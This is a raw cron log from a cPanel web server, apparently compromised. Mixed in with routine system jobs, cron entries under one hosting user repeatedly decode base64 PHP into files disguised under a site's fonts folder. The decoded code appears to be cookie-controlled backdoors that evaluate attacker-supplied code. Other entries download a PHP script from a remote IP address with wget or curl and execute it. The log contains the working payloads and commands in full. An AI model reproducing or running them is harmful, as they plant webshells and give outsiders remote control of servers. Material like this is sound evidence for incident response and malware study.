Sep 11 17:49:01 ip-184-168-122-23 CROND[12295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:50:01 ip-184-168-122-23 CROND[12385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:50:01 ip-184-168-122-23 CROND[12384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:50:01 ip-184-168-122-23 CROND[12386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:50:01 ip-184-168-122-23 CROND[12390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:50:01 ip-184-168-122-23 CROND[12391]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:50:01 ip-184-168-122-23 CROND[12393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:50:01 ip-184-168-122-23 CROND[12394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:50:01 ip-184-168-122-23 CROND[12395]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:50:01 ip-184-168-122-23 CROND[12389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:51:01 ip-184-168-122-23 CROND[12510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:51:01 ip-184-168-122-23 CROND[12512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:51:01 ip-184-168-122-23 CROND[12509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:51:01 ip-184-168-122-23 CROND[12511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:52:01 ip-184-168-122-23 CROND[12678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:52:01 ip-184-168-122-23 CROND[12680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:52:01 ip-184-168-122-23 CROND[12683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:52:01 ip-184-168-122-23 CROND[12681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:52:01 ip-184-168-122-23 CROND[12682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:53:01 ip-184-168-122-23 CROND[12794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:53:01 ip-184-168-122-23 CROND[12796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:53:01 ip-184-168-122-23 CROND[12795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:53:01 ip-184-168-122-23 CROND[12797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:54:01 ip-184-168-122-23 CROND[12886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:54:01 ip-184-168-122-23 CROND[12887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:54:01 ip-184-168-122-23 CROND[12888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:54:01 ip-184-168-122-23 CROND[12889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:54:01 ip-184-168-122-23 CROND[12890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:55:01 ip-184-168-122-23 CROND[12980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:55:01 ip-184-168-122-23 CROND[12979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:55:01 ip-184-168-122-23 CROND[12987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:55:01 ip-184-168-122-23 CROND[12989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:55:01 ip-184-168-122-23 CROND[12986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:55:01 ip-184-168-122-23 CROND[12990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:56:01 ip-184-168-122-23 CROND[13074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:56:01 ip-184-168-122-23 CROND[13073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:56:01 ip-184-168-122-23 CROND[13075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:56:01 ip-184-168-122-23 CROND[13076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:56:01 ip-184-168-122-23 CROND[13077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:57:02 ip-184-168-122-23 CROND[13170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:57:02 ip-184-168-122-23 CROND[13171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:57:02 ip-184-168-122-23 CROND[13172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:57:02 ip-184-168-122-23 CROND[13173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:58:01 ip-184-168-122-23 CROND[13338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:58:01 ip-184-168-122-23 CROND[13341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:58:01 ip-184-168-122-23 CROND[13339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:58:01 ip-184-168-122-23 CROND[13340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:58:01 ip-184-168-122-23 CROND[13342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:59:01 ip-184-168-122-23 CROND[13447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:59:01 ip-184-168-122-23 CROND[13448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:59:01 ip-184-168-122-23 CROND[13450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:59:01 ip-184-168-122-23 CROND[13453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:00:01 ip-184-168-122-23 CROND[13537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:00:01 ip-184-168-122-23 CROND[13541]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:00:01 ip-184-168-122-23 CROND[13542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:00:01 ip-184-168-122-23 CROND[13538]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 18:00:01 ip-184-168-122-23 CROND[13545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:00:01 ip-184-168-122-23 CROND[13540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:00:01 ip-184-168-122-23 CROND[13543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:00:01 ip-184-168-122-23 CROND[13546]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:00:01 ip-184-168-122-23 CROND[13539]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:01:02 ip-184-168-122-23 CROND[13676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:01:02 ip-184-168-122-23 CROND[13678]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 18:01:02 ip-184-168-122-23 CROND[13677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:01:02 ip-184-168-122-23 CROND[13679]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:01:02 ip-184-168-122-23 CROND[13680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:01:02 ip-184-168-122-23 CROND[13682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13678]: starting 0anacron
